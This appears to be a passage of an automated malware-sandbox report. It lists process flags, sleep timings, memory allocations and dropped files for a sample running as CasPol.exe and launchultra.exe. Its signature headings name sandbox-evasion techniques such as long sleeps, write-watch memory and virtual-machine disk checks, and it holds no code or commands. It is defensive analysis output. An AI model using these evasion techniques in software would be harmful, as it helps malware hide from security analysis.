Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Switches to a custom stack to bypass stack traces
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe API/Special instruction interceptor: Address: 6C5690B4
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe API/Special instruction interceptor: Address: 6C2C3F54
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe API/Special instruction interceptor: Address: 6C568DB8
Source: C:\Windows\SysWOW64\gpupdate.exe API/Special instruction interceptor: Address: 6C564B84
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Memory allocated: 3000000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Memory allocated: 38C0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Memory allocated: 3700000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Memory allocated: 7440000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Memory allocated: 8440000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Memory allocated: 13F0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Memory allocated: 2EE0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Memory allocated: 4EE0000 memory reserve | memory write watch
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4991
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4670
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Window / User API: threadDelayed 4555
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Window / User API: threadDelayed 5235
Found dropped PE file which has not been started or loaded
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\sqxmjqhulq Jump to dropped file
Source: C:\Windows\System32\msiexec.exe Dropped PE file which has not been started: C:\Windows\Installer\MSIE263.tmp Jump to dropped file
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\svchost.exe TID: 9000 Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5908 Thread sleep count: 4991 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3924 Thread sleep count: 4670 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6480 Thread sleep time: -11990383647911201s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3088 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3088 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 4588 Thread sleep count: 49 > 30
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 4588 Thread sleep count: 141 > 30
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -26747778906878833s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 6856 Thread sleep time: -34428s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -59888s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 5072 Thread sleep count: 4555 > 30
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 5072 Thread sleep count: 5235 > 30
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 6856 Thread sleep time: -59361s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -59776s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -59647s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 6856 Thread sleep time: -36652s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -59535s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 6856 Thread sleep time: -48717s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -59423s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -59311s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 6856 Thread sleep time: -57037s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -59199s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 6856 Thread sleep time: -36235s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -59088s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -58976s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -58864s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -58752s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -58640s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -58527s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 6856 Thread sleep time: -47824s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -58416s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 6856 Thread sleep time: -32306s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -58305s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -58193s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 6856 Thread sleep time: -43825s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -58083s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -57971s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 6856 Thread sleep time: -55515s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -57859s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 6856 Thread sleep time: -54015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -57748s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -57636s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -57524s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -57412s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 6856 Thread sleep time: -40419s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -57301s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 6856 Thread sleep time: -34383s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -57188s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -57077s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -56965s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 6856 Thread sleep time: -32206s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -56854s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -56740s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 6856 Thread sleep time: -38270s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -56627s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 6856 Thread sleep time: -53114s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -56517s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 6856 Thread sleep time: -46867s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -56405s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -56294s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 6856 Thread sleep time: -50216s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -56183s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 6856 Thread sleep time: -35736s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -56069s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 6856 Thread sleep time: -31383s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -55958s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 6856 Thread sleep time: -35156s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -55847s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -55737s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -55624s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 6856 Thread sleep time: -40332s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -55514s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 6856 Thread sleep time: -56923s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -55402s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 6856 Thread sleep time: -56458s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -55290s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 6856 Thread sleep time: -57901s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -55178s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 6856 Thread sleep time: -58144s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -55067s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -54953s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 6856 Thread sleep time: -58984s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -54840s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 6856 Thread sleep time: -40418s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -54731s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 6856 Thread sleep time: -35578s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -54618s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 6856 Thread sleep time: -52108s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe TID: 8312 Thread sleep time: -54507s >= -30000s
Queries disk information (often used to detect virtual machines)
Source: C:\Windows\System32\svchost.exe File opened: PhysicalDrive0
Source: C:\Windows\System32\msiexec.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 60000
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 34428
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 59888
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 59361
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 59776
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 59647
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 36652
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 59535
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 48717
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 59423
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 59311
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 57037
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 59199
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 36235
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 59088
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 58976
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 58864
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 58752
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 58640
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 58527
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 47824
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 58416
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 32306
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 58305
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 58193
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 43825
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 58083
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 57971
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 55515
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 57859
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 54015
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 57748
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 57636
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 57524
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 57412
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 40419
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 57301
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 34383
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 57188
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 57077
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 56965
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 32206
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 56854
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 56740
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 38270
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 56627
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 53114
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 56517
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 46867
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 56405
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 56294
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 50216
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 56183
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 35736
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 56069
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 31383
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 55958
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 35156
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 55847
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 55737
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 55624
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 40332
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 55514
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 56923
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 55402
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 56458
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 55290
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 57901
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 55178
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 58144
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 55067
